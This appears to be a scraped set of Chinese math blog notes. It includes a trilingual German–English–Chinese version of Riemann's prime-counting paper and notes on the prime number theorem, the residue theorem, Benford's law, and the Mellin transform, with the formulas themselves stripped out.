不是一个质数时，函数值为上述的素数个数；但当 为质数时，函数值为素数个数与 的和，因此，每当 的数值在 处发生跳跃时，总有 Ersetzt man nun in If one sets 我们通过替换 in the formula 级数中 so erhält man one finds 从而得到 wenn man when one denotes 我们用 durch bezeichnet. by 来表示 Diese Gleichung ist gültig für jeden complexen Werth von , wenn . This equation is valid for every complex value of provided . 当 时，此等式对于 的每一个复数值 都成立。 Wenn aber in diesem Umfange die Gleichung But when in such circumstances 然而，如果等式 gilt, so kann man mit Hülfe des Fourier'schen Satzes die Function durch die Function ausdrücken. is valid, the function can be expressed in terms of by meansof Fourier's theorem. 在这个区域里成立，则用傅里叶的理论，函数 可以用 来表示。 Die Gleichung zerfällt, wenn reell ist und , in den beiden folgenden: The equation splits when is real and when into the two equations 如果 是实的并且有 时，该方程会分裂为以下两个方程： Wenn man beide Gleichungen mit multiplicirt und von bis integrirt, so erhält man in beiden auf der rechten Seite nach dem Fourier'schen Satze , also, wenn man beide Gleichungen addirt und mit multiplicirt, When both equations are multiplied by and integrated from to , one finds in both cases that the right side is that when they are added and multiplied by 当将两个方程分别乘以 并从 到 进行积分，则由傅立叶的理论，每个等式的右边变为 。因此，将两者相加并乘以 之后，我们得到 worin die Integration so auszuführen ist, dass der reelle Theil von constant bleibt. where the integration is to be carried out in such a way that the real part of remains constant. 这里的积分路线这样来选取，使得 的实部保持为常数。 Das Integral stellt für einen Werth von , bei welchem eine sprungweise Aenderung der Function stattfindet, den Mittelwerth aus den Werthen der Function zu beiden Seiten des Sprunges dar. The integral represents, for a value of where the function has a jump, the middle value between the two values of on either side of the jump. 对于函数 有跳跃的每个 值，积分表示的是跳跃点两侧的 函数值之间的平均值。 Bei der hier vorausgesetzten Bestimmungsweise der Function besitzt diese dieselbe Eigenschaft, und man hat daher völlig allgemein The function was defined in such a way that it too has this property, so one has in full generality 上边函数 的定义方式使得它也具备这一特性，因此在一般情况下，我们有 Für kann man nun den früher gefundenen Ausdruck For one can now substitute the expression 对于先前得到的 来说，现在可以代入这个表达式 substituiren; die Integrale der einzelnen Glieder dieses Ausdrucks würden aber dann ins Unendliche ausgedehnt nicht convergiren, weshalb es zweckmässig ist, die Gleichung vorher durch partielle Integration in found above; the integrals of the individual terms of this expression will not converge, however, when they are taken to infinity, so it is advantageous to reformulate the equation as 然而，当积分限为无穷时，这个表达式的单独项的积分不会收敛，因此最好是通过分部积分法，先将等式转换成 umzuformen. by integration by parts. 通过分部积分法。 Da Since 因为 für , also for and therefore, 对于 ，因此， so erhalten dann sämmtliche Glieder des Ausdruckes für mit Ausnahme von all of the terms in the expression for except for the term 于是， 的表达式的所有项，除去例外项 die Form take the form 均型如 Nun ist aber But 此时 und, wenn der reelle Theil von rösser als der reelle Theil von ist, and, when the real part of is greater than the real part of , 且当数 的实部大于 的实部时， oder or 或者 je nachdem der reelle Theil von negativ oder positiv ist. Man hat daher depending on whethert the real part of is negative or positive. Thus 这取决于 的实部是负数还是正数。因此 im ersten und in the first case and 在第一种情况下以及 im zweiten Falle in the second case. 在第二种情况下。 Im ersten Falle bestimmt sich die Integrationsconstante, wenn man den reellen Theil von negativ unendlich werden lässt; In the first case the constant of integration can be determined by taking to be negative and infinite. 在第一种情况下，令 的实部取负无穷大，就可以确定积分常数。 im zweiten Falle erhält das Integral von bis um verschiedene Werthe, je nachdem die Integration durch complexe Werthe mit positivem oder negativem Arcus geschieht, und wird, auf jenem Wege genommen, unendlich klein, wenn der Coefficient von in dem Werthe von positiv unendlich wird, auf letzterem aber, wenn dieser Coefficient negativ unendlich wird. In the second case the integral from to takes on two values which differ by depending on whether the path of integration is in the upper halfplane or in the lower halfplane; if the path of integration is in the upper halfplane, the integral will be infinitely small when the coefficient of in is infinite and positive, and if the path is in the lower halfplane, the integral will be infinitely small when the coefficient of in is infinite and negative. 在第二种情况下，根据积分路径在实轴的上方还是下方，从 到 的积分取两个不同的值，这两个值之间相差 ；如果积分路径在上半平面，当 中 的系数为正无穷大时，积分为无穷小；而如果积分路径在下半平面，当 中 的系数为负无穷大时，积分为无穷小。 Hieraus ergiebt sich, wie auf der linken Seite zu bestimmen ist, damit die Integrationsconstante wegfällt. This shows how to determine the values of on the left side in such a way that the constants of integration drop out. 这展示了如何在左侧确定 的值，使得积分常数能够消失。 Durch Einsetzung dieser Werthe in den Ausdruck von $f(x) erhält man By setting these values in the expression for one finds 通过将这些值代入 的表达式中，便可以得出结论 wenn in für sämmtliche positiven ( oder einen positiven reellen Theil enthaltenden ) Wurzeln der Gleichung , ihrer Grösse nach geordnet, gesetzt werden. where the sum is over all positive roots (or all roots with positive real parts) of the equation , ordered according to their size. 其中， 表示方程 的所有正根（更确切地是所有正实部的复根）求和，这些根按照模的增序排列。 Es lässt sich, mit Hülfe einer genaueren Discussion der Function , leicht zeigen, dass bei dieser Anordnung der Werth der Reihe It is possible, by means of a more exact discussion of the function , easily to show that with this ordering of the roots the sum of the series 通过更精确地探讨函数 的性质，很容易就能证明，在这种根的排列方式下，级数 mit dem Grenzwerth, gegen welchen is the same as the limiting value of 收敛到一个极限，这个极限与积分 bei unaufhörlichem Wachsen der Grösse convergirt, übereinstimmt; durch veränderte Anordnung aber würde sie jeden beliebigen reellen Werth erhalten können. as grows without bound; by a different ordering, however, it can approach any arbitrary real value. 当 趋向无穷时所得的极限是一样的；然而，如果改变这种排序的话，级数能够收敛到任意的实数值。 Aus findet sich mittelst der durch Umkehrung der Relation From one can find byinverting 函数 可以由 来得到，这要通过反转关系式 sich ergebenden Gleichung to find 产生出 worin für der Reihe nach die durch kein Quadrat ausser theilbaren Zahlen zu setzen sind und die Anzahl der Primfactoren von bezeichnet. where ranges over all positive integers which are not divisible by any square other than and where denotes the number of prime factors of . 其中， 取遍所有这样的自然数，他们不能被除了 以外的任何平方数整除，而 表示 的质因子个数。 Beschränkt man auf eine endliche Zahl von Gliedern, so giebt die Derivirte des Ausdrucks für oder, bis auf einen mit wachsendem sehr schnell abnehmenden Theil, If is restricted to a finite number of terms, then the derivative of the expression for or, except for a part which decreases very rapidly as increases, 如果我们将和式 中将求和限制为有限项，那么函数 的表达式的导数（忽略一个随着 的增大而迅速减小的项）就成为 einen angenäherten Ausdruck für die Dichtigkeit der Primzahlen der halben Dichtigkeit der Primzahlquadrate von der Dichtigkeit der Primzahlcuben u. s. w. von der Grösse . gives an approximate expression for the density of primes half the density of prime squares the density of prime cubes, etc., of magnitude . 这给出了一个渐进表达式，它是关于不超过 的素数的密度，加上素数平方的密度的一半，再加上素数立方的密度的 ，等等。 Die bekannte Näherungsformel ist also nur bis auf Grössen von der Ordnung richtig und giebt einen etwas zu grossen Werth; denn die nicht periodischen Glieder in dem Ausdrucke von sind, von Grössen, die mit nicht in's Unendliche wachsen, abgesehen: Thus the known approximation is correct only to an order of magnitude of and gives a value which is somewhat too large, because the nonperiodic terms in the expression of are, except for quantities which remain bounded as increases, 因而，众所周知的近似公式 仅在一个阶为 的数量范围上是正确的，并且给出的值有些过大，在 表达式中，排除掉那些随着 的增大而保持有界的项之后，非周期项为 In der That hat sich bei der von Gauss und Goldschmidt vorgenommenen und bis zu rei Millionen fortgesetzten Vergleichung von mit der Anzahl der Primzahlen unter diese Anzahl schon vom ersten Hunderttausend an stets kleiner als ergeben, und zwar wächst die Differenz unter manchen Schwankungen allmählich mit . In fact the comparison of with the number of primes less than which was undertaken by Gauss and Goldschmidt and which was pursued up to three million shows that the number of primes is already less than in the first hundred thousand and that the difference, with minor fluctuations, increases gradually as increases. 事实上，高斯和戈尔德施密特曾做过对 与小于 的素数个数之间的比较，并一直进行到 三百万。他们的研究结果表明，在前一百万个数中，素数的个数就已经小于 ，而且两者之差在经过多次震荡之后，随着 的增大，这种差异会逐渐增大。 Aber auch die von den periodischen Gliedern abhängige stellenweise Verdichtung und Verdünnung der Primzahlen hat schon bei den Zählungen die Aufmerksamkeit erregt, ohne dass jedoch hierin eine Gesetzmässigkeit bemerkt worden wäre. The thickening and thinning ofprimes which is represented by the periodic terms in the formula has also been observed in the counts of primes, without, however, any possibility of establishing a law for it having been noticed. 素数个数的密度因周期项而增减的事实已经在计算中被观察到，但还未注意到它是否遵循某种规律。 Bei einer etwaigen neuen Zählung würde es interessant sein, den Einfluss der einzelnen in dem Ausdrucke für die Dichtigkeit der Primzahlen enthaltenen periodischen Glieder zu verfolgen. It would be interesting in a future count to examine the influence of individual periodic terms in the formula for the density of primes. 如果将来再做计算的话，继续探究表达式中个别周期项对于素数密度的影响将会是一件有趣的事情。 Einen regelmässigeren Gang als würde die Function zeigen, welche sich schon im ersten Hundert sehr deutlich als mit im Mittel übereinstimmend erkennen lässt. More regular than the behavior of is the behavior of which already in the first hundred is on average very nearly equal to . 函数 可能有比函数 更规律的性态。实际上，在前一百个值中，它确实在平均意义上非常接近于 。"},{"title":"","date":"2025-09-22T02:35:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/18.html","permalink":"https://blog.mhuig.top/notes/Zeta/18","excerpt":"","text":"素数定理 素数定理 素数定理：数学中的 “素数分布密码”素数（质数），那些只能被 1 和自身整除的数字（如 ），在整数中的分布看似杂乱无章，却隐藏着深刻的规律。素数定理（Prime Number Theorem, PNT）正是揭示这一规律的里程碑，它指出：当 趋向无穷大时，小于 的素数个数 渐近于 。用数学语言表述为： 当 其中 是素数计数函数（表示不超过 的素数个数）， 是自然对数，符号 表示渐近等价。更进一步，定理可强化为： 这里 （对数积分）比 给出了更精确的逼近。 定理的核心内涵 渐近的本质 素数定理描述的是大尺度统计规律，而非精确公式。例如： 当 时，实际 ，而 （相对误差约 7.8% ）。 当 时， , （误差降至约 3.8% ）。 误差随 增大而减小，最终在极限下消失。 黎曼猜想的影响 若黎曼猜想成立，素数定理的精度将大幅提升： 对足够大的 这一联系凸显了 PNT 在解析数论中的核心地位。 历史故事：猜想、竞争与突破天才少年的洞察（1792 年）高斯（Carl Friedrich Gauss）在 15 岁时，通过研究素数表发现：素数密度约为 。他在笔记本中写道：“素数分布问题或许与对数积分有关。” 但高斯未曾公开发表此猜想，仅在信件中提及。 优先权之争 (1808 年)勒让德（Adrien-Marie Legendre）在专著中明确提出猜想： 。尽管公式不如高斯优雅，但这是首次公开猜想。两人曾因此产生优先权争议，后世将荣誉归于高斯。 关键桥梁：切比雪夫不等式（1850 年）俄罗斯数学家切比雪夫（Pafnuty Chebyshev）首次为素数定理注入严格数学工具。他证明： 此不等式虽未证实渐近性，却首次量化了上下界。 黎曼的遗产（1859 年）黎曼（Bernhard Riemann）在著名论文《论小于给定值的素数个数》中，提出 函数（zeta function）与素数的深层关联： 他将 表达为 函数非平凡零点（ ）的和, 这一洞见最终导向证明的核心。 双重突破（1896 年）法国数学家阿达马（Jacques Hadamard）和比利时学者德・拉・瓦莱・普桑（Charles de la Vallée Poussin）独立完成证明。他们基于 函数在直线 上无零点这一关键结论，构建了复分析框架下的证明。两人论文仅隔数月发表，共享历史荣耀。"},{"title":"","date":"2025-09-25T00:08:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/21.html","permalink":"https://blog.mhuig.top/notes/Zeta/21","excerpt":"","text":"狄利克雷 Eta 函数 狄利克雷 Eta 函数 狄利克雷 函数（Dirichlet eta function） 定义狄利克雷 函数常用两种等价定义： 级数定义（适用于 ） 与黎曼 ζ 函数的关系 这个关系式可以将 函数的定义域解析延拓到整个复平面（除了 这个 函数的单极点）。 关键性质 性质 描述 公式 / 值 解析延拓 通过 ζ 函数关系延拓至整个复平面（除 ）。 在全平面亚纯 特殊值 在 处值为自然对数；在负整数点与伯努利数有关。 函数方程 由 函数的函数方程导出。 积分表达式 存在积分表示形式。 欧拉变换 一种级数重排方法，可加速收敛。 与黎曼 ζ 函数的关系狄利克雷 函数又被称为 交错 函数（alternating zeta function）。它和黎曼 函数 的紧密联系是其核心价值之一： 这个关系不仅用于解析延拓 ，反过来也提供了研究 的一个重要途径。黎曼 函数在临界带 内的性质，时常会涉及到 函数。 First, let's add the sum over all odd and even numbers: Now, we know that and , so we can write: Now, Let's add and subtract the same thing on the RHS: Now, by definition, the Riemann zeta function is given by: And we can use the fact that: So:"},{"title":"","date":"2025-09-29T10:05:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/22.html","permalink":"https://blog.mhuig.top/notes/Zeta/22","excerpt":"","text":"留数定理 留数定理 洛朗展开19 世纪法国数学家皮埃尔・阿方斯・洛朗发现，即使函数 在某点不解析，只要在以该点 为中心的环域 内解析，就能展开为同时包含正幂项和负幂项的双边幂级数: 其中： 是环域内绕内周一周的任意一条闭合曲线 这种级数结构 —— 正幂项构成描述常规解析行为的正则部分，负幂项形成刻画奇点特性的主要部分 —— 完美解决了泰勒级数无法处理奇点的困境。 奇点1. 可去奇点如果在奇点 处级数也是收敛的，此时收敛区域是一个圆，如果将 定义为 这样 在 点也是解析的，这正是可去奇点这一称谓的由来 2. 极点函数 在极点的空心邻域内的洛朗展开只有有限个负幂项，则 在 的邻域内解析， ，则 称为 的 阶极点，显然 反之，若 是 的孤立奇点，且 ，则 是 的极点 此外当 是 的 阶极点时， 又知道 在 点解析，所以 是 的 阶零点 特别的，一阶极点又称作单极点 3. 本性奇点函数在本性奇点领域的洛朗展开具有无穷多个负幂项 如果 是函数的本性奇点，则当 时 的极限不存在，即当 以不同方式趋向于 时， 趋向于不同的值 可以证明，对于本性奇点而言，任意给定一个复数（包括 ），总存在一个序列 ，使得 留数定理 若 在 所围区域内除 外都解析，则 在 内以 为中心处可展开为洛朗级数 环域 内任取闭合回路 ，由柯西定理 考虑以原点为中心的单位圆 （ 从 到 ），计算积分 ： 这个结果不依赖于圆的半径，仅由环绕原点的 “圈数” 决定。对于更一般的奇点 ，积分 ，而其他幂次项 （ ）的积分结果均为 。这一特性被称为柯西积分公式的特殊情形，是留数定理的 “种子”。 因此 称为 在 的留数，记作： 若 所围区域内包围 个奇点 ,可分别作回路 ,由柯西定理 总结得留数定理： 留数的计算规则 1 计算一阶极点的留数如果 为 的单极点，那么 若该极限为 型未定式，洛必达法则可直接用于求解。例如，对 ，若 且 ，则： 洛必达 （注：此处需满足洛必达法则的使用条件：分子分母在 的邻域内可导，且分母导数非零。） 规则 2 洛必达法则计算一阶极点的留数若 , , 在定义域内都解析， , , ,则 为 的单极点。 规则 3 计算高阶极点的留数如果前 个导数在 处为零，而第 个导数不为零，那么 是 的 阶极点。 如果 是 的 阶极点，那么 非零有限值 可以看成函数 的泰勒展开，则 项泰勒级数的系数 即为 在 点的留数 ,有 若该极限为 型未定式，可直接使用 次洛必达法则计算 阶极点的留数求解。例如: 对 ，若 在 处有 阶零点 , 在 处解析（允许 )，则 在 处有 阶极点（若 ）或更低阶极点（若 在 有零点）。 此时 ，代入留数公式需计算： 关键步骤：一层一层剥离计算：考察发现存在高阶极点，求导考察下一阶导数，计算留数，应用洛必达法则；考察发现存在高阶极点，求导考察下一阶导数，计算留数，应用洛必达法则；……… 重复操作求导后应用洛必达法则 次。 洛必达第次洛必达第次洛必达第次洛必达第次洛必达第次 （注：此处需满足洛必达法则的使用条件：分子分母在 的邻域内可导，且分母导数非零。） 经过 次求导操作后，考察发现不再存在高阶极点, 因此： 例题求 在 处的留数。 , 是单极点。 巴塞尔问题的留数解法巴塞尔问题：求自然数平方倒数之和 1. 构造围道积分关键是将级数求和与复积分联系起来。考虑函数 其极点包括： 整数点 ：由 的零点引起，为一阶极点； 原点 ： 分母导致的二阶极点。 取正方形围道 ：顶点为 ，包围所有 的整数点。当 时，围道积分 的模因 在围道上有界（ ）且 衰减足够快（ ）而趋于 。 2. 计算留数总和由留数定理，围道积分等于 乘以围道内所有留数之和： 整数点留数：对 ， （利用 ）。 原点留数： 是二阶极点，展开 ，则 洛朗展开中 项系数为 ，即 。 3. 求解级数和将留数代入留数定理： 注意 （ 项发散需剔除），整理得："},{"title":"","date":"2025-09-20T02:39:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/20.html","permalink":"https://blog.mhuig.top/notes/Zeta/20","excerpt":"","text":"本福特定律 本福特定律 世界是对数的好奇怪啊！一秒、一天、一年的时长从来没有变过。为什么我们会觉得时间越过越快呢？ 这是因为你越长大，一年在你的人生比例中变得越小。你就觉得时间越过越快了。 我们对世界的感受，其实不是感受的外界变化的绝对值，而是变化的相对比例。 人的感觉是和实际物理量的对数成正比。 为什么我们会用复杂的对数感知世界呢？ 也许我们就活在一个对数的世界。 本福特定律本福特定律（Benford's Law），又称首位数定律，描述了在许多自然产生的数据集中，数字 到 作为首位数字出现的概率并非均匀分布，而是遵循特定的对数分布规律。该定律在数据验证、欺诈检测等领域有重要应用。 定律内容本福特定律指出，在满足条件的数据集中，数字 （ ）作为首位数字出现的概率为： 具体概率分布如下： 数字 概率（约） 1 30.1% 2 17.6% 3 12.5% 4 9.7% 5 7.9% 6 6.7% 7 5.8% 8 5.1% 9 4.6% 适用条件本福特定律适用于以下类型的数据： 跨多个数量级（如从 1 到 1,000,000），例如人口、地理数据、金融数据等。 自然产生而非人为设计（如人工编号、发票号、身份证号等通常不适用）。 样本量足够大（通常需上千条数据）。 数据分布符合 “对数尺度上的均匀分布”（如指数增长过程生成的数据）。 ️ 局限性以下情况可能不适用： 人为干预的数据（如定价策略为 $9.99）。 数据有最大值或最小值限制（如资产记录门槛）。 均匀分布或单一数量级的数据（如身高、体重）。 应用场景本福特定律常用于检测数据异常或造假： 财务审计：识别虚假账目。 选举数据验证：分析选票数字是否人为操纵。 学术研究：检测实验数据或统计调查的真实性。 其他领域：河流长度、山脉高度、股票价格等自然数据通常符合该定律。 数学基础定律的数学推导基于： 尺度不变性：数据单位变化不影响首位数字分布（如平方公里改为平方英里）。 遍历理论（Ergodic Theory）：通过 Birkhoff 遍历定理证明，当数据生成过程满足指数增长且增长率为无理数时，定律成立。 对数变换：将首位数字问题转化为单位区间上的无理旋转系统，利用均匀分布模 1 的性质。 本福特定律揭示了数字在自然数据中的内在规律，成为数据科学和审计领域中一个强大的工具。 素数分布满足本福特定律素数定理的密度描述素数定理表明：当 时，不超过 的素数个数 。 由此可得素数分布密度为： 该密度函数表明：素数在较大范围内的分布与 成正比。 对数尺度下的均匀性将 换为对数坐标。令 ，则 ，且 。 素数在区间 的数量可表示为： 这表明：在对数坐标 下，素数分布密度为常数 ，即在 轴上均匀分布 。 首位数字的概率转换一个数 的首位数字为 的条件等价于： （为整数） 在对数尺度下，该条件转化为： 其中 是 的小数部分（即 ）。 由于 均匀分布于 ，其小数部分 在 上均匀分布（当区间足够大时）。 概率积分首位数字为 的概率即 落在区间 的概率： 这正是本福特定律的公式。 一般化本福特定律2009 年西班牙马德里理工大学的巴托洛・卢克（Bartolo Luque）和卢卡斯・拉卡萨（Lucas Lacasa）发现，若素数分布的修正密度为 （ ），则对应广义公式 ，且当 时逼近经典本福特定律。 深层意义素数定理 → 对数均匀性 → 本福特定律 的链条揭示了： 素数的伪随机性本质是尺度不变性（即不同数量级素数分布的相似性）。 或许在未来某天，质数的秘密真的会变得像 “地球是圆的” 一样，成为我们知识体系中一个既深刻又基础的通识。"},{"title":"","date":"2025-09-29T10:08:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/23.html","permalink":"https://blog.mhuig.top/notes/Zeta/23","excerpt":"","text":"多项式分式前 n 项和变换为积分 多项式分式前 n 项和变换为积分 把 化为积分。 方法 1：伽马函数变量换元替换要将求和 化为积分形式，我们可以利用 Gamma 函数和几何级数的性质。适用于 的情况。 步骤 1: 写出单个项的积分表示首先，回顾 Gamma 函数的定义, 对于 ： 通过变量替换（ , ），可以得到： 另一种更常用的形式是使用区间 上的积分（通过替换 , ）： 步骤 2: 对求和项应用积分表示将求和中的每一项用积分替换： 步骤 3: 交换求和与积分顺序由于被积函数在 上连续（除 外，但该点测度为零），且对于 ，积分和求和一致收敛，我们可以交换顺序： 这里，求和索引从 开始，因此 对应 从 到 。 步骤 4: 计算几何级数求和内部的求和是一个几何级数： 对于 当 时，该求和值为 ，但由于积分在单点上不影响结果，我们可以直接使用上述表达式。 步骤 5: 得到最终的积分形式将几何级数结果代入积分中： 方法 2 变换和反变换若 为多项式比多项式，分子的最高次更低，即 ( ) 则前 项和： 曲线 有限且包含所有极点，只考虑 的极点。 原理 —— 逆变换的变换为自身； 是 的一种变换, 它的内核可以与求和符号相互作用。 例如此处的变换与逆变换 ( 为多项式真分式)： 上面的反演变换是通过 复变函数的留数定理 实现。这一方法本质是留数定理在梅林逆变换中的应用。当 为亚纯函数时，梅林逆变换的无穷路径积分可通过围道变形转化为有限围道上的留数求和，此时无穷远弧线上的积分贡献为零。 当 的所有极点 被围道 包围时， 等于 在各极点处的留数之和： 这一结果将积分反演简化为代数运算，大幅简化计算，适用于 为有理函数或含有限极点的亚纯函数的场景。若 有高阶极点，需按高阶留数公式计算导数项，但核心逻辑不变。 另一种梅林逆变换的视角： 对于梅林正变换的变体 根据梅林变换的反演定理 ，若 满足一定条件（如在 上绝对可积且局部有界变差），则其反演公式为： 其中： 是一个实常数，需满足 在 上可积（通常 位于 的收敛域内）； 积分路径是复平面上的一条竖直线 。 但直接计算无穷围道的积分非常困难。 梅林正变换将函数映射到复平面，逆变换通过围道积分重构原函数，而留数定理则提供了计算逆变换的离散化路径。 解析函数的全局行为由其奇点完全控制。 梅林逆变换的无穷围道积分（平行于虚轴）与留数求和看似路径不同，实则通过解析函数的围道变形和奇点贡献原理达成等价。这种等价性是复分析中 “局部奇点决定整体积分” 思想的典型体现，核心逻辑可概括为：无穷围道积分通过闭合围道转化为留数求和，而圆弧部分的积分在特定条件下趋于零。 Tips 围道闭合：从无穷直线到闭合曲线的转化梅林逆变换的积分路径是复平面上的无穷竖直线 （ ， 为实常数），如公式 所示。为应用留数定理，需将此直线路径与一个半径 的圆弧 组合成闭合围道 。根据 Jordan 引理，若被积函数 在圆弧上满足有界性条件： 则圆弧积分 。此时，无穷围道积分等价于闭合围道积分： 留数定理：闭合围道积分的离散化根据留数定理，闭合围道积分等于围道内所有奇点留数之和： 其中 是 在围道内的孤立奇点（如极点）。结合圆弧积分趋于零的条件，可得： 关键条件：路径选取与奇点分离两种方法等价的核心前提是 围道必须包含所有相关奇点，且圆弧积分可忽略。具体需满足： 积分路径的解析性：参数 需位于 的解析区域内，确保直线路径不经过奇点 。 奇点分布的单侧性：若 ，当 时 ，故需将圆弧闭合在 左半平面（仅包含 的奇点）；若 ，则需闭合在右半平面。 衰减条件： 在圆弧上需足够快地衰减，例如 （ ），以确保圆弧积分趋于零 。 实例验证：黎曼 ζ 函数的梅林逆变换以黎曼 ζ 函数 （ ）为例，其梅林逆变换需计算 通过闭合左半平面围道，可得到 的奇点（单极点 、平凡零点 、非平凡零点 ）的留数之和，最终结果为 这一过程中，无穷围道积分完全转化为留数的离散求和，印证了两种路径的等价性 。总结：解析函数的局部 - 整体关联无穷围道积分与留数求和的等价性，本质是解析函数的奇点结构决定其积分值的体现。无穷围道积分是 “整体路径” 的直接计算，而留数求和则是 “局部奇点” 的贡献叠加，两者通过围道闭合和极限过程统一。这种转化不仅简化了计算（如将复杂积分变为有限求和），更揭示了复分析的深刻思想：解析函数的全局行为由其奇点完全控制。 无穷围道积分的路径无关性（如梅林逆变换中通过留数定理将积分转化为留数求和）与高斯定理揭示的 “积分与路径无关” 等等本质上同属广义斯托克斯定理的数学框架，核心是将区域积分与边界积分通过 “源” 的分布关联。 “积分只与边界有关” 是复分析中柯西积分定理（Cauchy's Integral Theorem） 的核心思想，其严格表述为：若函数在单连通区域内解析且在闭区域上连续，则沿区域内任意闭合曲线的积分值仅由曲线所围边界的拓扑性质决定，与路径的具体形状无关。 例题把 和 化为积分。 方法 1： 注意到 方法 2： 留数定理中间进行 次洛必达法则, 然后接着求剩下部分的 阶导数 求导，计算留数，洛必达求导，计算留数，洛必达求导，计算留数，洛必达求导，计算留数，洛必达求导，计算留数，洛必达 方法 3：高阶极点的留数计算公式 被积函数 中， 为整函数（无奇点），而 使函数在 处产生奇点，当 为正整数时， 为 阶极点，根据高阶极点留数公式： 若 为 阶极点，则 这里 ， ，故 代入公式得： 计算 的 阶导数： 取极限后得： 由留数定理，若围道 包围 ，则积分结果为： 方法 4：伽马函数的汉克尔围道 被积函数 仅在 处有奇点（因 对 无奇点）。 该积分与伽马函数的汉克尔表示式高度相似。伽马函数的汉克尔表示为： 其中 是汉克尔围道。 对比给定积分与伽马函数的汉克尔表示，将 替换为 ，可得： 数学的新发现也许就藏在你曾做过的例题里面"},{"title":"","date":"2025-10-01T10:10:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/24.html","permalink":"https://blog.mhuig.top/notes/Zeta/24","excerpt":"","text":"梅林变换 梅林变换 背景梅林变换的诞生源于 19 世纪末, 梅林受到欧拉、黎曼等先驱工作的启发，特别是黎曼 ζ 函数与积分表示的联系，从而发展了这一变换。 其核心思想是将函数表示为幂函数的线性组合，类似于傅里叶变换将函数分解为三角函数的叠加。线性变换始终是简化复杂问题的核心工具。 梅林变换梅林变换针对定义在正实数轴上的函数 （需满足一定的可积性条件，如局部可积且衰减足够快），其变换 定义为： 其中 是复数参数，通常写作 （ 和 为实数）。这个积分在 的特定区域（如收敛域）内有效。核函数 体现了变换的乘性特征：当 缩放时，变换结果以幂律形式响应。 要理解这个定义，可以考虑它与伽玛函数的关系。例如，如果 ，则梅林变换结果为伽玛函数 ： 逆梅林变换逆变换是梅林变换可逆性的保证，其推导依赖于复变函数中的围道积分。逆公式为： 其中 是实常数，位于 的收敛域内。这个公式可以通过傅里叶逆变换推导： 变量代换：设 ，则 ，原积分变为： 转化为傅里叶变换：令 ，则上式是 的傅里叶变换，核为 。 应用傅里叶逆定理：通过傅里叶逆变换还原 ，再代回 ，即得逆变换公式。 关键性质梅林变换具有一系列重要性质，这些性质可通过直接积分计算或变量代换推导： 线性性：对于常数 和函数 ，有： 这由积分的线性性直接可得。 尺度变换：如果 （ ），则： 推导：代入 ，则： 卷积定理：梅林卷积定义为 其变换满足： 推导：通过交换积分顺序和变量代换： 令 与矩生成函数的关系：如果 是概率密度函数，则其 阶原点矩可通过梅林变换求得： 这是因为 。 与其他变换的联系梅林变换与拉普拉斯变换和傅里叶变换可通过变量代换相互转化： 与拉普拉斯变换：令 ，则： 这正是 的拉普拉斯变换。 与傅里叶变换：类似地，通过 可转化为傅里叶变换形式。 傅里叶变换的核为 ，而梅林变换的核为 ，体现了从加性结构到乘性结构的转变。 与傅里叶变换或拉普拉斯变换相比，梅林变换更侧重于函数的积性结构。例如，如果函数在缩放变换下具有对称性，梅林变换能更自然地捕捉这种特性。 From ZhiHu-TravorLZH 笔者认为下面这段有收藏价值就搬过来了。1、各种积分变换的反演公式下面我们就来做一个 self-contained 的推导吧！引理（正弦积分及其渐近线）：定义 ，则有：因此Fourier 反演定理：已知 Fourier 变换公式为 ，现在我们考虑计算：由于积分未必收敛，我们实际上计算的是它的柯西主值，现在我们做进一步展开：现在进行分部积分，得：由于 Fourier 变换的存在性意味着 f 是平方可积的，因此有 ，于是根据 ，对原式求 的极限可得：综上所述，我们得到了第一个积分变换工具 ——Fourier 反演定理：Laplace 逆变换：根据定义，可知函数 f 的拉氏变换被定义为 ，现在设 满足 收敛，并定义函数 ：则根据 ，有：但事实上，根据 的定义，可知于是 变成了：令 ，我们便得到了拉氏变换的 Mellin 反演公式：Mellin 变换在解析数论中，有一种常用的积分变换叫 Mellin 变换：现在令 则有：现在设 使得 收敛则我们可以设 得：利用刚刚推导的 Fourier 反演定理，我们便能得到：于是：现在设 ，我们就得到了 Mellin 变换的反演公式：2、Zeta 函数与素数计数函数之关系根据算数基本定理可知 Zeta 函数满足欧拉乘积公式：对两侧取对数，得：现在利用 RS 积分，得：因此有3、琴生公式用 来表示全纯函数 在 中的零点，则：现在设 ，则有：利用柯西积分公式，可知等式左侧就是 ，即：而由于当 时有 ，被求和部分的积分都是零，遂证毕。 双曲正割函数的梅林变换双曲正割函数（ ） 是一种重要的双曲函数，定义为双曲余弦函数的倒数： 其图像呈现钟形曲线特征，在原点处达到最大值 1，向两侧逐渐衰减并以 x 轴为渐近线。 计算 的梅林变换。 梅林变换的定义与一般形式函数 的梅林变换定义为： 收敛域 对于 ，其变换需满足收敛条件 （由 的衰减性决定）。 的梅林变换推导级数展开法利用恒等式 ，可展开为： 代入梅林变换公式： 此级数可表示为 Dirichlet beta 函数 或 Hurwitz zeta 函数 的组合： 当 时： 当 时： 当 时： 为 Dirichlet beta 函数）。 推导过程 级数展开代入： 利用恒等式：代入 Mellin 变换：积分转化为 Gamma 函数： 内层积分是 Gamma 函数的定义形式：此处 ，故：级数化简为 Hurwitz zeta 函数： 将求和式拆解：通过待定系数法解得 ，即：进一步表示为 Hurwitz zeta 函数的线性组合：函数最终得：其中 拉马努金主定理（Ramanujan's Master Theorem） 若 的泰勒展开为 ，则： 其中 是展开系数，需解析延拓至复平面。 Meijer G 函数表示 通过梅林变换的卷积性质， 可表为 Meijer G 函数： 适用于任意 。 特殊 k 值的封闭形式 值 梅林变换封闭形式 收敛域 偶数 （ 为 的多项式） 奇数 ( 为组合系数， ) 注： 其中 为 Hurwitz zeta 函数。 可解析延拓至整个复平面，在 处有留数 ，且满足函数方程： 收敛域与解析延拓收敛域：需满足 ，否则积分在 或 处发散。 解析延拓：通过余元公式 或留数定理，可将变换延拓至 （除极点外）。 极点位置：位于 （ ），留数与 的导数值相关。 与其他特殊函数的联系Gamma 函数：始终作为乘性因子出现，源于积分核 的变换性质。 Zeta 函数：偶数 时关联 Riemann zeta 函数 ，奇数 时关联 Dirichlet beta 函数 。 超几何函数：部分情形下可表为广义超几何函数 ，例如： 结论 